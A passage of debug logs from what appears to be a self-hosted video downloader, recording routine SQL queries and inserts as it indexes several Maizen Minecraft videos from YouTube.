OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [213214] 19:05:36.092 [debug] Current batch of media processed. Will check again in 1000ms 19:05:37.093 [debug] Current batch of media processed. Will check again in 1000ms 19:05:38.094 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 5542, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", "id" => "3RR5Sbesx6s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=3RR5Sbesx6s", "playlist_index" => 8, "timestamp" => 1781319606, "title" => "THE WORLD's STRICTEST TEST: The Movie", "upload_date" => "20260613"} 19:05:38.095 [debug] QUERY OK source="sources" db=0.2ms idle=312.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:05:38.095 [debug] QUERY OK source="sources" db=0.1ms idle=313.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:38.097 [debug] QUERY OK source="media_items" db=1.3ms idle=313.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-13 03:00:06Z], 2] 19:05:38.098 [debug] QUERY OK source="media_items" db=0.5ms idle=315.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "70566927-d612-4257-854b-49e0772e2e5c", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", 8, "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-13 03:00:06Z], ~U[2026-08-20 02:05:38Z], ~U[2026-08-20 02:05:38Z], "Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, 2, ~U[2026-06-13 03:00:06Z]] 19:05:38.098 [debug] QUERY OK source="sources" db=0.1ms idle=53.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:38.098 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:05:38.099 [debug] QUERY OK source="media_items" db=0.1ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [183790] 19:05:38.099 [debug] Current batch of media processed. Will check again in 1000ms 19:05:39.100 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 5036, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", "id" => "9ZPbk2Unu8A", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=9ZPbk2Unu8A", "playlist_index" => 9, "timestamp" => 1780714806, "title" => "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "upload_date" => "20260606"} 19:05:39.101 [debug] QUERY OK source="sources" db=0.2ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:05:39.101 [debug] QUERY OK source="sources" db=0.1ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:39.103 [debug] QUERY OK source="media_items" db=1.3ms idle=1003.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-06 03:00:06Z], 2] 19:05:39.104 [debug] QUERY OK source="media_items" db=0.6ms idle=1004.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "b71e185d-3385-4131-a831-70bfd0007111", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", 9, "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-06 03:00:06Z], ~U[2026-08-20 02:05:39Z], ~U[2026-08-20 02:05:39Z], "Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, 2, ~U[2026-06-06 03:00:06Z]] 19:05:39.104 [debug] QUERY OK source="sources" db=0.1ms idle=57.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:39.104 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:05:39.105 [debug] QUERY OK source="media_items" db=0.1ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [152861] 19:05:39.105 [debug] Current batch of media processed. Will check again in 1000ms 19:05:40.106 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 3796, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", "id" => "RxEEQdWqH10", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=RxEEQdWqH10", "playlist_index" => 10, "timestamp" => 1780298214, "title" => "Minecraft, But One Person Dies Every Day...", "upload_date" => "20260601"} 19:05:40.107 [debug] QUERY OK source="sources" db=0.2ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:05:40.107 [debug] QUERY OK source="sources" db=0.1ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:40.109 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-01 07:16:54Z], 2] 19:05:40.110 [debug] QUERY OK source="media_items" db=0.6ms idle=1003.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "e916b219-9da6-4ad8-ad00-706226644ea6", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", 10, "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, false, false, 2, [], 98, ~U[2026-06-01 07:16:54Z], ~U[2026-08-20 02:05:40Z], ~U[2026-08-20 02:05:40Z], "Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, 2, ~U[2026-06-01 07:16:54Z]] 19:05:40.110 [debug] QUERY OK source="sources" db=0.1ms idle=60.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:40.110 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:05:40.111 [debug] QUERY OK source="media_items" db=0.1ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [141213] 19:05:40.111 [debug] Current batch of media processed. Will check again in 1000ms 19:05:41.112 [debug] Current batch of media processed. Will check again in 1000ms 19:05:42.113 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 857, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", "id" => "n5lwtRSwTqY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=n5lwtRSwTqY", "playlist_index" => 11, "timestamp" => 1780040554, "title" => "The Roulette of OP ITEM in Hide and Seek!", "upload_date" => "20260529"} 19:05:42.114 [debug] QUERY OK source="sources" db=0.2ms idle=331.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:05:42.114 [debug] QUERY OK source="sources" db=0.1ms idle=332.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:42.116 [debug] QUERY OK source="media_items" db=1.3ms idle=332.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 07:42:34Z], 2] 19:05:42.117 [debug] QUERY OK source="media_items" db=0.7ms idle=334.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "077cb03d-d2e0-4474-997e-4e6a0a840989", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", 11, "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, false, false, 2, [], 98, ~U[2026-05-29 07:42:34Z], ~U[2026-08-20 02:05:42Z], ~U[2026-08-20 02:05:42Z], "Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, 2, ~U[2026-05-29 07:42:34Z]] 19:05:42.117 [debug] QUERY OK source="sources" db=0.2ms idle=65.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:42.118 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:05:42.118 [debug] QUERY OK source="media_items" db=0.2ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [128101] 19:05:42.119 [debug] Current batch of media processed. Will check again in 1000ms 19:05:43.119 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 2291, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", "id" => "m-eW0HpIFp0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=m-eW0HpIFp0", "playlist_index" => 12, "timestamp" => 1779774844, "title" => "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "upload_date" => "20260526"} 19:05:43.120 [debug] QUERY OK source="sources" db=0.2ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:05:43.120 [debug] QUERY OK source="sources" db=0.1ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", 